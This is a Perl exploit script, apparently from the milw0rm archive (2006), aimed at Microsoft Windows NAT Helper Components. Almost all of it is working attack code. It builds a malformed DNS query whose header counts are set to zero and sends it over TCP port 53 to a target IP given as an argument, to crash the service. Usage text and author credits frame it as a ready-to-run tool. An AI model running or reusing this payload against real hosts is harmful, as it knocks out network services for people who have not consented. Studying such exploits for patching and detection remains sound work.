Microsoft Windows - NAT Helper Components Remote Denial of Service

#!/usr/bin/perl
##
## Microsoft Windows NAT Helper Components Remote DoS Exploit (2)
## **************************************************************
##
## .details
## --------
## Exploit(192.168.0.2) --> Microsoft NAT(192.168.0.1) --> [..Internet..]
##
## .info
## -----
## code by x82 <x82_ [at] bk [dot] ru>
## bug by h07  <h07 [at] interia [dot] pl>
##
## .greetz
## -------
## ... goes out to triple6, wolf, lux2, EaTh, darkkilla, 2letterman .. ;)
##
##

use warnings;
use diagnostics;
use strict;

use IO::Socket;


my $host = $ARGV[0]; # 192.168.0.1
my $port = 53; # standard port
my $payload =
# by h07
"\x6c\xb6".
"\x01\x00".
"\x00\x00".
"\x00\x00".
"\x00\x00".
"\x00\x00". # <-- Bug is here 0x0000
"\x03\x77\x77\x77".
"\x06\x67\x6f\x6f".
"\x67\x6c\x65\x03".
"\x63\x6f\x6d\x00".
"\x00\x01".
"\x00\x01";

my $length = length($payload);

if((! $host || $host !~ /^\d{1,3}(\.\d{1,3}){3}$/))
{
	print "\n----------------------------------------------------------------------\n";
	print "Microsoft Windows NAT Helper Components Remote DoS Exploit\n";
	print "exploit by x82 <x82_ [at] bk [dot] ru>\n";
	print "bug discovered by h07 <h07 [at] interia [dot] pl>\n";
	print "----------------------------------------------------------------------";
	print "\n";
	print "usage: perl $0 192.168.0.1\n";
	exit;
}

my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port);
unless ($socket) { die "[-] Can\'t connect to $host" }

print "\n";
print "[+] connection established\n";
print "[*] Sending payload ..." . "(size: $length)\n";
sleep(5);

print $socket $payload;

print "[+] ok - payload sent\n";


## 29.10.2006

# milw0rm.com [2006-10-30]